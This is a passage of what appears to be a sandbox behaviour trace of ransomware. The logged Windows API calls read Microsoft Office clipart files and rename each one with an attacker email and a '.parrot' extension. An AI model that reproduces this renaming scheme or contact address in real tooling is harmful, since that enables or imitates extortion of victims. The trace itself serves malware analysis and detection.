lpNewFilePointer=0xffffffff) returned 1 [0128.811] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.813] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.813] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1870, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1870, lpOverlapped=0x0) returned 1 [0128.814] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.814] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.816] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.817] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.825] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.837] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c14, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4c14, lpOverlapped=0x0) returned 1 [0128.838] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.840] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00932_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.844] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.844] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.887] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.887] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xeb8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xeb8, lpOverlapped=0x0) returned 1 [0128.888] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.888] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.892] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.892] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.893] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.893] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd16, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd16, lpOverlapped=0x0) returned 1 [0128.894] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.894] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.897] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.897] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.899] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.899] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x714c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x714c, lpOverlapped=0x0) returned 1 [0128.900] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.901] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.906] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.906] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.908] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.908] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x532, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x532, lpOverlapped=0x0) returned 1 [0128.908] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.909] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.912] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.912] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.913] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.914] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5a4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5a4, lpOverlapped=0x0) returned 1 [0128.914] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.914] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.917] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.917] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.918] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.919] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f26, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1f26, lpOverlapped=0x0) returned 1 [0128.920] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.920] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.923] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.923] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.966] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.966] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x94a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x94a, lpOverlapped=0x0) returned 1 [0128.967] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.967] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.970] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.970] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.982] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.982] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x414, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x414, lpOverlapped=0x0) returned 1 [0128.983] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.983] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.986] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.986] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.988] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.988] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x876, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x876, lpOverlapped=0x0) returned 1 [0128.988] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.989] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.993] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.993] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.994] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.994] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6b0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6b0, lpOverlapped=0x0) returned 1 [0128.995] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.995] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.998] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.998] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.999] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.999] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20ae, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x20ae, lpOverlapped=0x0) returned 1 [0129.000] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.001] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.003] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.004] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.007] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.008] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1370, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1370, lpOverlapped=0x0) returned 1 [0129.008] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.009] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.012] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.012] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.013] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.013] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x31f4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x31f4, lpOverlapped=0x0) returned 1 [0129.014] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.015] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.017] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.017] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.025] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.025] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc20, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc20, lpOverlapped=0x0) returned 1 [0129.025] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.026] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.030] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.030] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.032] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.032] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x634, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x634, lpOverlapped=0x0) returned 1 [0129.032] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.033] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.035] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.036] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.037] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.037] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4bc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4bc, lpOverlapped=0x0) returned 1 [0129.037] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.038] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.041] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: 